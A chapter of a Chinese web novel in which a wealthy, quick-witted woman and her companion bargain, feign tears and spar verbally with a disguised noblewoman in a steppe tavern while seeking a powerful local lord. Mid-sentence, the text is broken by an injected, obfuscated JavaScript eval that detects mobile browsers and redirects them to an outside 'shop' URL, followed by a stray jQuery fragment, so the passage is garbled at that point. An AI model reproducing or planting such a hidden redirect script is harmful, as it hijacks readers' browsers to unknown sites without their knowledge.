一望无际,满眼芳草绿的草原上,白鹿部效仿着中原人建起罗城、瓮城,将权贵围在中心,守护着他们的私人财产。
而城墙外围依旧散落着一团一团的毡房。
白鹿部的毡房与苍狼部的大不相同,或者说他们有时候用不上毡房。
苍狼部的毡房易拆易装,携带轻便,战火来临时可以及时撤离。白鹿部则不然,部分别吉和台吉有自己的田地和水源。为了方便管理自己的牧民她们用河流划分草场,分割田地。因此,永日布的权贵也会在田地附近建起楼房,方便播种收割。
但木材在草原可是稀缺资源。草原极少有乔木生长,大部分木头得从中原人那里买,就算少数人有自己的林场,运输的费用也极其高昂。
所以寻常百姓用不上木头,毡房的骨架一般由祖上传下来,后代修修补补接着用。
即便是建得起木制楼房,也要养得起、守得起。因此,能在草原上建起木制楼房的,绝对是权贵中的权贵,巨富中的巨富。
城内,一位妃衣女子牵着一匹骊骏大摇大摆走在街道上,身后跟着位蓝眼睛的西域人。那妃衣女子相当活泼,什么新鲜玩意儿都要看一看尝一尝。
两人在白鹿部最高大最壮观的木制酒楼前停下。按照物以稀为贵的原则,这酒楼的主人应当就是白鹿部的人上人。
中原人一般无法进入内城,但那守城的士兵见庾东风衣着华丽,穿金戴银,牵着一匹高头大马,身后还跟着个蓝眼睛的西域人。
关键是那个蓝眼睛的西域人扔给了他一块纯正的金饼。这样有消费能力,有排场的贵人,不放进来剥削干净,日然台吉怕是不同意。所以他点头哈腰地乖乖放行。
庾东风走进酒楼,斜抬眼端详着永日布的酒楼,与中原相似,既有散座大堂也有雅座包厢。
甚至某些陈设还参照着中原风水摆放,看来和魏国打仗,也给永日布带来了文明。大堂里,中原人的身影不在少数,酒楼里的伙计也会说几句中原官话。
散座大堂正上方高高挂着一幅残缺的半山水,一半颜色艳丽,一半水墨飞扬。画师像是在泄愤一样,最后一笔重重戳在画纸上,留下一个浓厚粗糙的墨点,墨点的四周还有锯齿形的纤维印。
画得丑,还挂得高……
庾东风仰头看了许久,仰得脖子有些累。
从袖子里拿出一块金饼扔向账房,“咚——”一声闷响,砸在柜台上,惊得那正在算账的掌柜猛然抬头,眼睛黏在那块金饼上。
沙炽星冷声喊道:“我家娘子仰头累了,把画收下来,送到房里。”
金饼砸人的动静太大,引得不少人侧目。二楼雅间中,一把折扇被顶在指尖旋转,那折扇的主人勾勾嘴角,指尖上指,指着酒楼穹顶。
楼下掌柜瞧见后,眼珠子滴溜一转,不舍得将金饼慢慢推回。
“什么意思?”庾东风含笑问道。
“不够。”
“不够?”庾东风挑挑眉头,扬起嘴角,朝着沙炽星点点头。沙炽星从怀中拿出一个大袋子。
庾东风接过袋子,当着掌柜的面摇了摇。丁零当啷的金属碰撞声,听得掌柜的眼神直发愣。他正要伸手去接那袋金饼,一双略显粗糙的手抢过钱袋子,塞回庾东风的怀里。
她的脸颊有些粗糙,眉骨高挺,双眸锐利。穿着一身干练的青衣,一副男装打扮。
庾东风双手捧着钱袋子,歪头看着眼前的公子,呆愣地眨眨眼。
“半成品,赝品,丑,别被骗了。”
魏翎翊来到白鹿部已久,看一身汉人装扮的娘子独自来这狼窝,还不知收敛,不想看她吃亏,所以才站出来。
庾东风路过魏军大营时,魏翎翊就已经出发前往白鹿部,两人未打过照面,魏翎翊压根儿就不知道有庾东风这号人物。
庾东风虽然在篝火之夜问了绰诺玛,但也没见过真人,并不知道魏翎翊是何等模样。
庾东风颠了颠手里的金袋子,伸到掌柜眼前晃一圈,在掌柜要伸手触碰时又及时收回来。庾东风摇了摇钱袋子,笑问:“想不想要呀~”
掌柜连连点头,眼中谄媚。
庾东风笑脸盈盈,眼睛弯成月牙,一副人畜无害的模样,“那你劝劝这位公子嘛~他对你们的画不是很满意呢,你要能劝得动他……”
庾东风伸了伸两根手指,眼眸中闪着狡黠,最后轻声说道:“我给你翻两成。”
魏翎翊皱皱眉头,眸光闪过一丝诧异。哼一声,甩了衣袍便离开。那掌柜开始跟在魏翎翊身后喋喋不休。
魏翎翊走后,庾东风站直身子,收了刚才逗人的姿态,侧头看向二楼天字号雅间。
二楼雅间中,扇子的主人微滞片刻,手中敲扇的节奏有所停顿。透过金丝缠绕的花鸟屏风,能窥见庾东风正抬头看向他。
“送她。”
屏风后的男子发话,身边的仆人正要从包间对应的楼梯下楼,扇子主人脑海中闪过庾东风望过来的眼神,及时阻止,“走对面的楼梯。”
他料想那妃衣的娘子有些智慧,只看楼里最贵的包厢,不料庾东风耳力过人。自他说出“送她”那一句时,庾东风什么都听到了,但难办的是她只听见声音,她听不懂。
天字号雅间对面的楼梯传来轻快的脚步声,一位身材魁梧的永日布人从楼上走下来。他穿了耳洞,戴着鹿角耳铛,腰间还别着一把弯刀。他俯身在掌柜耳边说着庾东风听不懂的部落语言。
庾东风皱皱眉头,略有些失落地耷拉着眉头。从应星到苍狼部,脚程不过三日。短短三日,就算是她想学,也是有心无力。
她撇头看向一旁正在喝酒的魏翎翊,勾起嘴角。
伴随着一声脆响,两块金饼被拍在魏翎翊的酒桌上。魏翎翊警惕抬眼,眼前却是庾东风那满面春风的笑脸,她笑得很开心,眼睛都眯成了一条缝。
“两块金饼,当我的翻译。”
“没空。”
“求你~”庾东风在魏翎翊对面坐下,收了方才用金饼砸人的跋扈,切换成娇滴滴哭诉,“小女子听说生母在永日布不知所踪,寻母心切才寻到此地,怎料语言不通,常常遭人欺负~”
庾东风柳眉微蹙,指尖携着帕子,轻轻按压眼底,硬生生挤出几滴干泪。
她在大堂里嘤嘤呀呀的哭诉,眼角染上猩红,泫然欲泣的模样,谁看了都会生出几分心恻隐之心。
沙炽星扶着庾东风,语气闷沉,“娘子,我们已经走了六月有余,要找早就找到了,夫人恐怕……恐怕……”
庾东风哭得梨花带雨,鼻尖泛起薄红,眸中尽是盈盈水波。眼角像是那落雨的屋檐一般,泪珠成串留下。
见魏翎翊还是不为所动,沙炽星从自己怀中拿出手帕,表情忧郁凝重,“娘子,少哭些,当心哭坏了眼睛。您要是将眼睛哭瞎,家中的家业可不就落入旁人之手?到那时,家中的小妹当何以依存?”
庾东风倒是没有料想到沙炽星编故事的能力日益见长,迅速接过沙炽星的手帕遮掩自己上翘的嘴角,嘤嘤切切啼哭。
“娘子莫哭,他不帮你,我帮你”邻座的一位中原男子站起,口中说道:“娘子你既是女子,又要继承家业,料想当是周国人。我也是周国人,我帮你。我行商多年也小有起色。”
魏翎翊眸色平静,淡定喝了口酒。
庾东风怯生生看向她,眸中有些许不舍,犹豫着缓缓起身。但刚起到一半就被魏翎翊强势地按下去,“我说过了,这里骗子多。”
魏翎翊瞪了一眼那邻座的男人,“周人可没有穿耳的习俗,下次撒谎前先把耳朵剪了。”
魏翎翊将身侧的配剑重重拍在桌上,警告邻座的人不要乱来。
庾东风耳力过人,桌剑碰撞声在她耳中像爆竹一样炸开,惊得她下意识躲进沙炽星怀里,只能匆匆瞥一眼那把佩剑的模样。
但仅仅只是一瞥,魏翎翊的身份在庾东风这里近乎透明。她弯起嘴角,心中暗喜。
这一幕落在魏翎翊眼中,就成了世家贵女畏惧刀兵,胆怯后退。
庾东风颤抖着偷瞄魏翎翊,犹豫着开口,“公……公子,那……你帮我吗?”
庾东风紧紧抓着魏翎翊的袖子,抿着嘴,原本狡黠的狐狸眼被她睁大,成了无辜的桃花眼,含情脉脉地看着魏翎翊。
魏翎翊不动声色地将手抽出,“中原人讲授人以鱼,不如授人以渔。我教你几句常用的,你也不必求人。”
“小女子愚钝,短时间恐难以掌握。方才公子说没空,您有什么要事可与小女子明说,我家世显赫,母亲是永日布人,定能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494040|202383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帮上忙。”
“永日布人?”魏翎翊眯起眼睛,心中起疑。她知道永日布骗子多,保不齐眼前的这个俏娘子就是骗子。
魏翎翊来永日布可不是来干好事的,怎么可能让庾东风知道她的计划呢。
“娘子言重了,祁某也是初来乍到,会的也不多,您还是另请高明吧。”
“祁?”庾东风敏锐地捕捉到魏翎翊的姓氏,她歪歪头,俯身向前,清澈明亮的双眼端详着魏翎翊,淡淡开口道:“祁家不是在和狼部打仗吗?你来白鹿部不怕被砍头?”
“旁支。”
“我又没说是哪一支在打,公子急什么?”庾东风不疾不徐说道,“能鉴丹青,能佩剑,古道热肠与人为善,世家嫡系子。”
魏翎翊悄悄将手伸向自己的佩剑。眼前的女子看似天真单纯,实则心思深沉,信息灵通,不像永日布本土的骗子。
若是魏国人还好说,若是周国人可就要小心了。
魏翎翊刚碰上佩剑,庾东风的手立刻就覆了上来,冰凉的手心让魏翎翊心中一颤。
庾东风朝着魏翎翊“明送秋波”,投去青睐的目光,“诶~公子莫慌~我也不是什么坏人,打打杀杀作甚,很吓人的~”
随后庾东风看向沙炽星,“将官籍拿出来,给公子看看,我们不是坏人。”
沙炽星从背囊中,拿出周观棋刻的玉牌。玉牌上工工整整、明明白白用金墨描着:乌啼,周国汶京人,无官身。
“再说,坏人哪里会有我这般容貌?”
“无官身用这等好玉作官籍?”
庾东风贱兮兮地拍了拍沙炽星腰间的钱袋,语音上扬,不慌不忙说道:“有、钱。你跟我回周国啊,我们二人结连理。”
魏翎翊看着庾东风的眼睛,一声轻笑不受控制地从魏翎翊喉间溢出,“你很快就没钱了。”
说完魏翎翊冲着掌柜招招手,“好画!佳作!天赐妙笔!卖给她!让她花双倍!”
掌柜正在打包画作,听到魏翎翊的发言愣住片刻。他看看庾东风,又看看魏翎翊,最后看向二楼的天字雅间。
庾东风顺着掌柜的目光看过去,心中了然。这二楼的天字雅间她是去定了。
知道领头羊在哪里,听不听得懂语言已经没那么重要了。
原先计划里,打探消息要花上些许时日,没想到刚来第一天就找到了,庾东风当真是要好好感谢魏翎翊呢。
魏翎翊若是不搅这片浑水,掌柜倒也不会抬头,庾东风也不会证实自己的猜想。
庾东风挑挑眉头,撅嘴,冲魏翎翊做了个挑逗的飞吻。随后灵巧转身,像只轻盈的花蝴蝶,倏然间就离开了魏翎翊的花丛。
“掌柜,二楼天字号雅间,开价吧。”
庾东风声音清亮婉转,加之方才与沙炽星配合的弱女寻母的剧本,本就引来不少人的注目。
此下“二楼天字号雅间”几字一出,堂内所有散客以及二楼雅间的客人像是傀儡操纵一般,同时停下手中的酒杯碗筷。
酒杯、碗筷以及小刀敲在桌上的声音此起彼伏。方才还在哭哭啼啼、柔弱不能自理,如今却扬声招摇要去天字号,这转变属实太过突然,引得众人纷纷投来探究的目光。
包括正举杯喝酒的魏翎翊也止住腕间的动作。
魏翎翊来到白鹿部已有几日有余,先后联系了不少白鹿部的权贵,辅以威逼利诱几乎都同意魏翎翊提出的“让白鹿部再造辉煌”的提议。
唯独那位连接可汗可敦的核心人物——日然台吉,不见踪影。
大堂寂静片刻后,二楼天字号雅间传来一道低沉疏朗的笑声。
折扇的主人离开摇摇晃晃的躺椅,伴随着他起身的动作,腰间的玉石佩环、颈部宝石璎珞、耳尖的珍珠耳铛……像波浪一般连续起伏,全身上上下下热闹的像一串串铃铛,叮当作响。
他用所有人都听得见的声音说了句中原官话:“娘子打上来,免金。能阻止娘子上来的,全场免单。”
此言一出,魏翎翊投向庾东风的眼神便凌厉了几分。她找了几日未见踪影的日然台吉,现在居然轻轻松松就开口放话。究竟是她自己运气不佳还是眼前这妃衣娘子谋略过人?
魏翎翊一手捏着酒杯,一手握在剑柄上,就等待着庾东风的反应。